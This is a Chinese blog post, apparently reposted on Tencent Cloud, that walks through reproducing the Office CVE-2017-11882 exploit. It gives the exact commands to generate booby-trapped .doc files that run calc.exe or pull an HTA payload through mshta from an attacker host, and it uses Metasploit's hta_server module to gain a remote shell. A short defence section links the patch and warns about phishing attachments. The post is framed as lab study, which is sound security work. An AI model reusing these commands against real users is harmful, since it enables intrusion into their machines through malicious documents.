CVE-2017-11882复现及防御

本文作者:\xeb\xfe,加上之前的文章《一道 CTF 题 get 到的新姿势》完成两篇文章的任务,邀请加入知识星球,欢迎更多的人加入我们,一起交流、一起学习。

最新 Office 的 CVE-2017-11882,完美无弹窗,无视宏,影响 office 全版本。利用触发器 WebClient 服务从攻击者控制的 WebDav 服务器启动和执行远程文件。该脚本使用多个 OLE 对象创建简单的文档。这些对象利用 CVE-2017-11882,从而导致连续命令执行。

复现过程

实验环境:

win7 + office2007 win xp + office2003

使用 Ridter 师傅改进过的脚本:

https://github.com/Ridter/CVE-2017-11882/

生成漏洞 doc 文件,首先简单的测试一下是否能够弹出计算器,命令如下:

python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc

测试机打开 Word 文档之后,就会直接执行代码,弹出计算器,如下图:

既然能够实现弹出,那我们可以构造执行 powershell 直接获取 msf 会话

深入利用

在利用前,先了解一下 hta,hta 文件使用 HTML 格式,它的程序码可以像 HTML 一样被编辑和检查。在 hta 文件中 VBScript 和 JavaScript 的程序码可以任意混合。HTA 虽然用 HTML、JS 和 CSS 编写,却比普通网页权限大得多。它具有桌面程序的所有权限(读写文件、操作注册表等)。hta 本来就是被设计为桌面程序的。

1、利用 msf 生成利用的 powershell 脚本

这里使用的是 43 字符限制的脚本 ( github 上还有 109 字符限制的脚本),命令长度有 43 字符的限制,可以使用 URIPATH 设置路径,尽量短一点,避免加起来超过 43 字符,这里生成的代码 payload 是:

mshta.exehttp://192.168.9.27:8080/test

2、使用脚本生成漏洞doc文件,代码如下:

python Command_CVE-2017-11882.py -c "mshta http://192.168.9.27:8080/test" -otest2.doc

测试机打开 doc 文件后就会通过 mshta 去执行链接中的 hta 嵌套的 VBS 代码,从而执行 powershell 命令,随便用一个浏览器打开链接,就可以下载到 test.hta,文件内容如下:

3、测试机打开文件后,攻击机就会获取到 msf 会话。

在复现过程中,察觉到是使用 hta 进行命令执行利用,推测攻击机作为 hta_server,然后尝试在 msf 搜索 hta,发现一个模块的实现效果跟 PS_shell 一样,接下来开始演示一下:

  • 1、在 msf 搜索 hta_server 模块,然后 use,设置好相关参数,exploit -j。
  • 2、攻击机用脚本生成 doc 文件。

pythonCommand_CVE-2017-11882.py -c "mshta http://192.168.2.103:8080/test"-o test3.doc

  • 3、用测试机打开 doc 文件,测试机正常上线。

到此为止,两个模块的实验都成功返回 shell。在这里分享下自己踩过的坑,第一次做实验的时候有个疏忽,没注意到结合了 powershell 获取 msf 会话,用了没 powershell 的 XP + office2003 环境做实验 2333,然后换成了 win7 + office2007 环境,成功 getshell。

由于办公文档是常用的,人们在查看 doc 等文档文件时不会过多注意。但当 Office 办公软件存在漏洞时,就会成为黑客的工具。

防御方法:

目前微软公司已经发布了安全补丁下载微软对此漏洞补丁:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882

大家可以安装补丁修复该漏洞并开启自动更新功能,另外大部分杀软已经采取了防御措施,经测试部分杀软直接把 mshta、rundll32、powershell 执行的命令都会做相关拦截,并提示给用户这是可疑操作。

截图如下:

本次技术分享仅供个人测试验证及学习,请勿用于任何非法用途,谢谢!

小编寄语

这个漏洞 APT 领域可谓神洞,利用起来如此方便,对于用户来说,要做的不仅仅是要及时更新补丁、安装杀毒软件,还要提升自己的安全意识,知道这个漏洞在实际场景中是如何被运用的,可以针对性的应对。这种漏洞在 APT 领域通常会结合社会工程学的技术来运用,常用的社会工程学技巧包括:发送钓鱼邮件(附件类型)、通过聊天软件(获取你的新人诱使你打开文档)、在你经常光顾的网站上上传恶意文档等。在自己的系统没有更新到最新的补丁或者没有安装杀毒软件的情况下对于别人发来的文档尽量不要打开,一旦运行,对于个人是个人电脑被人入侵,如果在企业,那么你所在的企业安全就岌岌可危了。

原文发布于微信公众号 - 信安之路(xazlsec)

原文发表时间:2017-11-23

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏JackieZheng

利用Solr服务建立的站内搜索雏形---solr1

最近看完nutch后总感觉像好好捯饬下solr,上次看到老大给我展现了下站内搜索我便久久不能忘怀。总觉着之前搭建的nutch配上solr还是有点呆板,在nutc...

33080
来自专栏Java成神之路

SQL server 2008 数据库企业版安装教程图解

SQL Server 2008是一个重大的产品版本,它推出了许多新的特性和关键的改进,使得它成为至今为止的最强大和最全面的SQL Server版本。    在...

29720
来自专栏杨建荣的学习笔记

crontab设置导致的服务器进程异常问题 (r10笔记第4天)

前几天的时候,有个同事问我一个问题,大体的意思是突然收到报警,服务器的进程数翻了好几倍,其实那个服务器也没有任何操作。所以想让我帮忙看看。 他自己也做...

37260
来自专栏Jaycekon

Python-WXPY实现微信监控报警

概述:   本文主要分享一下博主在学习wxpy 的过程中开发的一个小程序。博主在最近有一个监控报警的需求需要完成,然后刚好在学习wxpy 这个东西,因此很巧妙的...

2.7K80
来自专栏技术栈大杂烩

Linux: Nginx proxy_pass域名解析引发的故障

部署细节:   两容器均部署在同一机器上,通过 docker-compose 编排,并且通过link方式链接。

24020
来自专栏Seebug漏洞平台

Vivotek 摄像头远程栈溢出漏洞分析及利用

作者:fenix@知道创宇404实验室 前 言 近日,Vivotek 旗下多款摄像头被曝出远程未授权栈溢出漏洞,攻击者发送特定数据可导致摄像头进程崩溃。 ...

45990
来自专栏信安之路

python的反反暴力破解

本文适合刚刚学完 python,光听别人说强大,但是自己没有直观感受过的人。介绍两种防暴力破解的方法,以及用 py 的绕过方法。(暂不考虑 sql 注入,不谈机...

15100
来自专栏Seebug漏洞平台

Vivotek 摄像头远程栈溢出漏洞分析及利用

近日,Vivotek 旗下多款摄像头被曝出远程未授权栈溢出漏洞,攻击者发送特定数据可导致摄像头进程崩溃。

51370
来自专栏Java架构沉思录

为什么我们做分布式使用 Redis?

绝大部分写业务的程序员,在实际开发中使用 Redis 的时候,只会 Set Value 和 Get Value 两个操作,对 Redis 整体缺乏一个认知。这里...

20540
来自专栏圣杰的专栏

ABP入门系列(15)——创建微信公众号模块

源码路径:Github-LearningMpaAbp 1. 引言 现在的互联网已不在仅仅局限于网页应用,IOS、Android、平板、智能家居等平台正如火如...

35570

扫码关注云+社区

领取腾讯云代金券